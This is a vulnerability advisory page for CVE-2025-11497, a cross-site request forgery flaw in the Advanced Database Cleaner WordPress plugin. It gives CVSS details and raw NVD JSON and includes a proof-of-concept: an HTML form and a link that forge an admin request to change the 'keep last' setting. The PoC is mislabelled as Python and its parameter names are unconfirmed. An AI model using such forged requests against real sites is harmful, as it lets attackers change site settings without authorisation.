Security Vulnerability Report
中文
CVE-2025-11497 CVSS 4.3 MEDIUM

CVE-2025-11497

Published: 2025-10-25 07:15:40
Last Modified: 2026-04-15 00:35:42

Description

The Advanced Database Cleaner plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.1.6. This is due to missing or incorrect nonce validation on the aDBc_prepare_elements_to_clean() function. This makes it possible for unauthenticated attackers to alter the keep last setting via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. CVE-2025-64357 is a duplicate of this issue.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Advanced Database Cleaner插件 <= 3.1.6(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-11497 --> <!-- This PoC demonstrates how an attacker can modify the 'keep_last' setting --> <!-- by tricking an administrator into visiting this page --> <!DOCTYPE html> <html> <head> <title>CVE-2025-11497 CSRF PoC</title> </head> <body> <h1>CSRF Attack PoC - Advanced Database Cleaner</h1> <p>Click the button below to trigger the vulnerability:</p> <form id="csrfForm" action="http://target-site/wp-admin/admin.php?page=advanced_database_cleaner" method="POST"> <!-- aDBc_prepare_elements_to_clean() function parameters --> <input type="hidden" name="aDBc_clean" value="general"> <input type="hidden" name="aDBc_action" value="save_settings"> <input type="hidden" name="aDBc_keep_last" value="999"> <!-- Malicious value --> <input type="hidden" name="aDBc_save_settings" value="1"> </form> <button type="submit" onclick="document.getElementById('csrfForm').submit();">Click Me</button> <script> // Auto-submit form when page loads (for demonstration) // document.getElementById('csrfForm').submit(); </script> </body> </html> <!-- Alternative: Simple link-based attack --> <!-- http://target-site/wp-admin/admin.php?page=advanced_database_cleaner &aDBc_clean=general&aDBc_action=save_settings&aDBc_keep_last=999&aDBc_save_settings=1 -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11497", "sourceIdentifier": "[email protected]", "published": "2025-10-25T07:15:40.170", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Advanced Database Cleaner plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.1.6. This is due to missing or incorrect nonce validation on the aDBc_prepare_elements_to_clean() function. This makes it possible for unauthenticated attackers to alter the keep last setting via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. CVE-2025-64357 is a duplicate of this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3382581%40advanced-database-cleaner&new=3382581%40advanced-database-cleaner&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4f4635ac-2ce6-4135-8d2b-d03b42860f05?source=cve", "source": "[email protected]"}]}}